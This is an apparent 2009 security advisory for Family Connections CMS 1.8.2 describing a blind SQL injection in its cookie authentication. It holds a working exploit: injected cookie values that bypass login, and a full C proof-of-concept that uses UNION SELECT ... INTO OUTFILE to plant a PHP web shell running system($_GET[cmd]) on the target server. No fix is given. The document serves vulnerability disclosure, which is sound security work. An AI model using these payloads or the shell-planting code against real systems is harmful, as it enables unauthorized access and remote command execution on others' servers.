Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:21585
HistoryApr 07, 2009 - 12:00 a.m.

Family Connections 1.8.2 Blind SQL Injection (Correct Version)

2009-04-0700:00:00
vulners.com
53

******* Salvatore "drosophila" Fresta *******

[+] Application: Family Connection
[+] Version: <= 1.8.2
[+] Website: http://www.familycms.com

[+] Bugs: [A] Blind SQL Injection

[+] Exploitation: Remote
[+] Date: 1 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: [email protected]


[+] Menu

1) Bugs
2) Code
3) Fix


[+] Bugs

  • [A] Blind SQL Injection

[-] File affected: inc/util_inc.php

Usually an SQL injection vulnerability located in the
authentication system allows a guest to bypass it, and
this is just what happens using the following cookie:

Cookie name: fcms_login_id
Cookie content: -1 UNION ALL SELECT
1,2,3,4,5,6,7,8,9,'admin','password',12,13,14,15,16,17,18,19,20,21,22
Cookie server: localhost (change it)
Cookie path: /

Cookie name: fcms_login_uname
Cookie content: admin
Cookie server: localhost (change it)
Cookie path: /

Cookie name: fcms_login_pw
Cookie content: password
Cookie server: localhost (change it)
Cookie path: /

Anyway the values contained in the previous cookies
are used also by other functions and queries and so
is not possible to surf on the vulnerable website
with such permissions because the CMS interrupts the
sessions each time a SQL error is encountered.
For this reason the possibility to write the result
of the SQL queries on the files is handy to bypass
this limitation.

The follows is the vulnerable code:

elseif (isset($_COOKIE['fcms_login_id'])) {
if (isLoggedIn($_COOKIE['fcms_login_id'],
$_COOKIE['fcms_login_uname'], $_COOKIE['fcms_login_pw'])) {
$_SESSION['login_id'] = $_COOKIE['fcms_login_id'];
$_SESSION['login_uname'] = $_COOKIE['fcms_login_uname'];
$_SESSION['login_pw'] = $_COOKIE['fcms_login_pw'];
}

in util_inc.php:

function isLoggedIn ($userid, $username, $password) {
$result = mysql_query("SELECT * FROM `fcms_users` WHERE `id` =
$userid LIMIT 1") or die('<h1>Login Error (util.inc.php 275)</h1>' .
mysql_error());
if (mysql_num_rows($result) > 0) {
$r = mysql_fetch_array($result);
if ($r['username'] !== $username) { return false; } elseif
($r['password'] !== $password) { return false; } else { return true; }
} else {
return false;
}
}


[+] Code

  • [A] Blind SQL Injection

/*

    Family Connection &lt;= 1.8.2 - Remote Command Execution
    
    Proof of Concept - Written by Salvatore &quot;drosophila&quot; Fresta

    The following software will create a file &#40;rce.php&#41; in the
    specified path using Blind SQL Injection bug. To exec remote
    commands, you must open the file using a browser.

*/

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>

int socket_connect(char *server, int port) {

    int fd;
    struct sockaddr_in sock;
    struct hostent *host;
    
    memset&#40;&amp;sock, 0, sizeof&#40;sock&#41;&#41;;
    
    if&#40;&#40;fd = socket&#40;AF_INET, SOCK_STREAM, 0&#41;&#41; &lt; 0&#41; return -1;
    
    sock.sin_family = AF_INET;
    sock.sin_port = htons&#40;port&#41;;
    
    if&#40;!&#40;host=gethostbyname&#40;server&#41;&#41;&#41; return -1;
    
    sock.sin_addr = *&#40;&#40;struct in_addr *&#41;host-&gt;h_addr&#41;;
    
    if&#40;connect&#40;fd, &#40;struct sockaddr *&#41; &amp;sock, sizeof&#40;sock&#41;&#41; &lt; 0&#41; return -1;
    
    return fd;

}

int socket_send(int socket, char *buffer, size_t size) {

    if&#40;socket &lt; 0&#41; return -1;

    return write&#40;socket, buffer, size&#41; &lt; 0 ? -1 : 0;

}

void usage(char *bn) {

    printf&#40;&quot;&#92;n&#92;nFamily Connection &lt;= 1.8.2 - Remote Command Execution&#92;n&quot;
                    &quot;Proof of Concept - Written by Salvatore &#92;&quot;drosophila&#92;&quot; Fresta&#92;n&#92;n&quot;
                    &quot;usage: &#37;s &lt;server&gt; &lt;path&gt; &lt;fs path&gt;&#92;n&quot;
                    &quot;example: &#37;s localhost /fcms/ /var/www/htdocs/fcms/&#92;n&#92;n&quot;, bn, bn&#41;;      

}

int main(int argc, char *argv[]) {

    int sd;
    char code[] = &quot;&#39;&lt;?php echo &#92;&quot;&lt;pre&gt;&#92;&quot;&#37;3b system&#40;$_GET[cmd]&#41;&#37;3b echo

\"</pre><br><br>\"%3b?>'",
*buffer;

    if&#40;argc &lt; 4&#41; {
            usage&#40;argv[0]&#41;;
            return -1;
    }
    
    if&#40;!&#40;buffer = &#40;char

*)calloc(216+strlen(argv[1])+strlen(argv[2])+strlen(argv[3]),
sizeof(char)))) {
perror("calloc");
return -1;
}

    sprintf&#40;buffer, &quot;GET &#37;shome.php HTTP/1.1&#92;r&#92;n&quot;
                                    &quot;Host: &#37;s&#92;r&#92;n&quot;
                                    &quot;Cookie: fcms_login_id=-1 UNION ALL SELECT

%s,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO OUTFILE
'%srce.php'#\r\n\r\n",
argv[2], argv[1], code, argv[3]);

    printf&#40;&quot;&#92;n[*] Connecting...&quot;&#41;;
    
    if&#40;&#40;sd = socket_connect&#40;argv[1], 80&#41;&#41; &lt; 0&#41; {
            perror&#40;&quot;[-] Connection failed&quot;&#41;;
            free&#40;buffer&#41;;
            return -1;
    }
    
    printf&#40;&quot;&#92;n[+] Connected&quot;
                    &quot;&#92;n[*] Sending...&quot;&#41;;
    
    if&#40;socket_send&#40;sd, buffer, strlen&#40;buffer&#41;&#41; &lt; 0&#41; {
            perror&#40;&quot;[-] Sending failed&quot;&#41;;
            free&#40;buffer&#41;;
            return -1;
    }
    
    printf&#40;&quot;&#92;n[+] Sent&#92;n&#92;n&quot;
                    &quot;Open your browser and  try to connect to

http://%s%srce.php?cmd=ls\n\n", argv[1], argv[2]);

    recv&#40;sd, buffer, 1, 0&#41;;
    
    close&#40;sd&#41;;
    free&#40;buffer&#41;;
    
    printf&#40;&quot;[+] Connection closed&#92;n&#92;n&quot;&#41;;
    
    return 0;

}


[+] Fix

No fix.



Salvatore "drosophila" Fresta
CWNP444351